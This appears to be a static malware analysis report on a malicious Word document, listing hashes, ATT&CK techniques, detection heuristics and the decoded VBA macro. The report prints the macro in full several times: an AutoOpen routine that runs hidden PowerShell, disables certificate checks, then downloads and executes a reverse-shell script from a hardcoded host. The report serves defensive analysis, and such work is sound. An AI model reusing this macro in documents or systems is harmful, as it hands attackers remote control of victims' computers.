Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b4878680aaa0d05a…

MALICIOUS

Office (OOXML)

19.1 KB Created: 2021-06-03 08:31:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: c5f90f9be18946e6c8ab5ac03a126e37 SHA-1: 1711394e8992087519a3df63cec2cca71f8c6c71 SHA-256: b4878680aaa0d05a817068af55ca57655956918dbb692a0f1a95f3774d0e273d
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1105 Ingress Tool Transfer T1071.001 Web Protocols T1566.001 Spearphishing Attachment

The sample contains VBA macros that execute automatically via the AutoOpen function. These macros utilize WScript.Shell and CreateObject to run a PowerShell command. The PowerShell command is designed to download and execute a second-stage reverse shell script from the hardcoded URL 'https://192.168.2.120/reverse_shell_120_4444.ps1'. This indicates a downloader functionality, likely delivered via spearphishing.

Heuristics 9

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Sub AutoOpen()
    Dim Shell As Object
    Set Shell = CreateObject("Wscript.Shell")
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim Shell As Object
    Set Shell = CreateObject("Wscript.Shell")
    Shell.Run "powershell -windowstyle hidden IEX '[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}'; IEX (New-Object Net.WebClient).DownloadString('https://192.168.2.120/reverse_shell_120_4444.ps1')"
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Set Shell = CreateObject("Wscript.Shell")
    Shell.Run "powershell -windowstyle hidden IEX '[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}'; IEX (New-Object Net.WebClient).DownloadString('https://192.168.2.120/reverse_shell_120_4444.ps1')"
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim Shell As Object
    Set Shell = CreateObject("Wscript.Shell")
    Shell.Run "powershell -windowstyle hidden IEX '[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}'; IEX (New-Object Net.WebClient).DownloadString('https://192.168.2.120/reverse_shell_120_4444.ps1')"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Dim Shell As Object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://192.168.2.120/reverse_shell_120_4444.ps1 In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 650 bytes
SHA-256: 3010a50f20d1c475da610eafbd70dff4b451e6743daacf5d4b789bec44eb4785
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Dim Shell As Object
    Set Shell = CreateObject("Wscript.Shell")
    Shell.Run "powershell -windowstyle hidden IEX '[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}'; IEX (New-Object Net.WebClient).DownloadString('https://192.168.2.120/reverse_shell_120_4444.ps1')"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25600 bytes
SHA-256: b2c1347e133103ae18ddbfe8e076e7b42cf71b232b2953a99a1f2f8922b25d5a
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely

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